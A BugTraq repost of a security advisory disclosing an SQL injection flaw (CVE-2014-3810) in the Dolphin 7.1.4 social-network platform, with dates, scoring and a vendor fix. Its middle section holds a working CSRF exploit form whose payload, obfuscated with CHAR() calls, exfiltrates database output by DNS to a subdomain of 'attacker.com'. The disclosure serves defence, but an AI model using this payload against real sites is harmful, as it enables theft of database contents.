BugTraq
SQL Injection in Dolphin Jun 18 2014 11:19AM
High-Tech Bridge Security Research (advisory htbridge com)
Advisory ID: HTB23216
Product: Dolphin
Vendor: BoonEx
Vulnerable Version(s): 7.1.4 and probably prior
Tested Version: 7.1.4
Advisory Publication: May 21, 2014 [without technical details]
Vendor Notification: May 21, 2014
Vendor Patch: June 17, 2014
Public Disclosure: June 18, 2014
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-3810
Risk Level: Medium
CVSSv2 Base Score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status: Solution Available
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

------------------------------------------------------------------------
-----------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in Dolphin, which can be exploited to perform SQL injection attacks and obtain sensitive information from the application database.

1) SQL Injection in Dolphin: CVE-2014-3810

The vulnerability exists due to insufficient sanitization of "members" HTTP POST parameter passed to "/administration/profiles.php" script. A remote authenticated administrator can send a specially crafted HTTP POST request to vulnerable script and execute arbitrary SQL commands in applicationâ??s database.

This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick a logged-in administrator to visit a web page with CSRF exploit.

The CSRF exploit code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The exploit will send a DNS request demanding IP address for `version()` (or any other sensitive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):

<form action="http://[host]/administration/profiles.php" method="post" name="main">
<input type="hidden" name="adm-mp-members-ctl-type" value="qlinks">
<input type="hidden" name="adm-mp-members-view-type" value="simple">
<input type="hidden" name="order_by" value="">
<input type="hidden" name="per_page" value="50">
<input type="hidden" name="members[]" value="') AND 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(
107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),
CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- ">
<input type="hidden" name="adm-mp-activate" value="Activate">
<input type="submit" id="btn">
</form>

------------------------------------------------------------------------
-----------------------

Solution:

Apply vendor's instructions:
http://www.boonex.com/forums/topic/Medium-Risk-Security-Vulnerability-in
-Dolphin-7-1.htm

------------------------------------------------------------------------
-----------------------

References:

[1] High-Tech Bridge Advisory HTB23216 - https://www.htbridge.com/advisory/HTB23216 - SQL Injection in Dolphin.
[2] Dolphin - http://www.boonex.com/dolphin - The world's most advanced software platform for building vibrant custom social networks and online communities.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

------------------------------------------------------------------------
-----------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus